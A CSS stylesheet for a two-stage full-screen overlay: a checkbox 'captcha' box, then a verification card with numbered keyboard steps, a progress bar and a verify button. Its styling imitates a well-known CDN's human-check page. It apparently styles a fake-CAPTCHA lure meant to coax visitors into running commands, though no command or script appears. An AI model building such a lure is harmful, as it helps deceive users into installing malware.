body {
  margin: 0;
  font-family: Arial, Helvetica, sans-serif;
  background: #f6f7f9;
  pointer-events: auto;
}

html, body {
  overflow: hidden !important;
  height: 100% !important;
}
/* ========== FIRST POPUP ========== */

/* Dark overlay */
.overlay {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: rgba(0,0,0,0.45);
  display: flex;
  justify-content: center;
  align-items: center;
    z-index: 1000000000;
  pointer-events: auto;
}

/* Captcha box */
.captcha-box {
    display: flex;
    align-items: center;
    justify-content: space-between;
    width: 320px;
    min-height: 52px;
    padding: 14px 16px;
    border: 1px solid #dcdcdc;
    border-radius: 6px;
    background: #fff;
    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.08);
    pointer-events: auto;
}

.left {
    display: flex;
    align-items: center;
    gap: 10px;
    position: relative;
    min-width: 220px; /* keep layout stable when swapping content */
}

.checkbox {
    width: 18px;
    height: 18px;
    border: 2px solid #c1c1c1;
    border-radius: 3px;
    cursor: pointer;
    position: relative;
    pointer-events: auto;
}

.checkbox.checked {
    background: #4caf50;
    border-color: #4caf50;
}

.checkbox.checked::after {
    content: "✔";
    color: white;
    font-size: 13px;
    position: absolute;
    top: -1px;
    left: 2px;
}

.label {
    font-size: 14px;
    color: #333;
}

.right {
    text-align: right;
    font-size: 10px;
    color: #888;
}

.brand {
    font-weight: bold;
    letter-spacing: 0.5px;
    color: #666;
}

.links {
    margin-top: 2px;
    white-space: nowrap;
}

.fade-out {
    opacity: 0;
    transition: opacity 0.4s ease;
}

/* Loading area */
.loading {
  position: absolute;
  inset: 0;
  display: none;
  justify-content: flex-start;
  align-items: center;
  padding-left: 4px;
  gap: 10px;
}

/* Spinner */
.spinner {
  width: 18px;
  height: 18px;
  border: 3px solid #ddd;
  border-top: 3px solid #f38020;
  border-radius: 50%;
  animation: spin 1s linear infinite;
}

@keyframes spin {
  to {
    transform: rotate(360deg);
  }
}

/* ========== SECOND POPUP (ISOLATED) ========== */

.second-overlay {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: rgba(0,0,0,0.6);
  display: flex;
  justify-content: center;
  align-items: center;
  z-index: 1000000000;
  pointer-events: auto;
}

/* Card */
.second-overlay .card {
  width: 420px;
  background: #fff;
  border-radius: 8px;
  overflow: hidden;
  pointer-events: auto;
}

/* Header */
.second-overlay .header {
  background: linear-gradient(90deg, #f38020, #f5a142);
  color: white;
  padding: 20px;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.second-overlay .header h2 {
  margin: 0;
  font-size: 18px;
  color: white;
}

.second-overlay .header p {
  margin: 5px 0 0;
  font-size: 13px;
  color: #fff;
}

.second-overlay .brand {
  font-weight: bold;
  letter-spacing: 2px;
}

.second-overlay .logo img {
  width: 140px;
}

/* Progress */
.second-overlay .progress-bar {
  background-color: #eee;
  height: 8px;
  border-radius: 4px;
  overflow: hidden;
  margin: 15px 15px;
}

/* Progress fill */
.second-overlay .progress-bar .progress {
  background-color: #f38020;
  height: 100%;
  width: 50%; /* start at half */
  transition: width 1s ease; /* animate to 100% */
}

/* Content */
.second-overlay .content {
  padding: 20px;
}

.second-overlay .step {
  margin-bottom: 15px;
}

.second-overlay .badge {
  background: #eee;
  font-size: 12px;
  padding: 3px 8px;
  border-radius: 4px;
  margin-right: 5px;
}

.second-overlay kbd {
  background: #eee;
  padding: 3px 6px;
  border-radius: 4px;
  font-size: 12px;
}

/* Status */
.second-overlay .status {
  background: #f1f1f1;
  padding: 10px;
  border-radius: 6px;
  font-size: 13px;
  margin: 15px 0;
}

/* Spinner */
.status .spinner {
    width: 12px;
    height: 12px;
    border: 2px solid #ddd;
    border-top: 2px solid #f38020;
    border-radius: 50%;
    animation: spin 1s linear infinite;
    display: inline-block;
    margin-right: 8px;
}

/* Image */
.second-overlay .image-box img {
  width: 100%;
  border-radius: 6px;
}

/* Image divider line */
.second-overlay .image-box .image-divider {
  border: none;
  border-top: 1px solid #ddd; /* fine line under image */
  margin: 15px 0;
}

/* Hide all Step 2 related elements initially */
.second-overlay .step:nth-of-type(2),
.second-overlay .status,
.second-overlay .image-box {
    display: none;
    max-height: 0;
    overflow: hidden;
    transition: max-height 2s ease-out;
}

/* Footer */
.second-overlay .footer {
  background-color: #f2f2f2; /* subtle grey */
  padding: 12px 20px;
  display: flex;
  align-items: center;
}

.second-overlay .footer .left {
  line-height: 1.3;
  display: block;
}

.second-overlay .footer .left span.users-text {
  display: block;
  font-size: 12px;
  color: #555;
  margin-top: 2px;
}

.second-overlay .verify-btn {
  background: #dba23a;
  border: none;
  padding: 10px 18px;
  font-weight: bold;
  cursor: pointer;
  border-radius: 4px;
}

/* Bottom */
.second-overlay .bottom {
  margin-top: 15px;
  font-size: 11px;
  color: #666;
  display: flex;
  justify-content: space-between;
}

/* Fade ONLY the popup box */
.popup,
.second-overlay .card {
  opacity: 1;
  transition: opacity 0.8s ease, transform 0.8s ease;
}

/* Hidden state */
.fade-out {
  opacity: 0;
  transform: scale(0.95);
}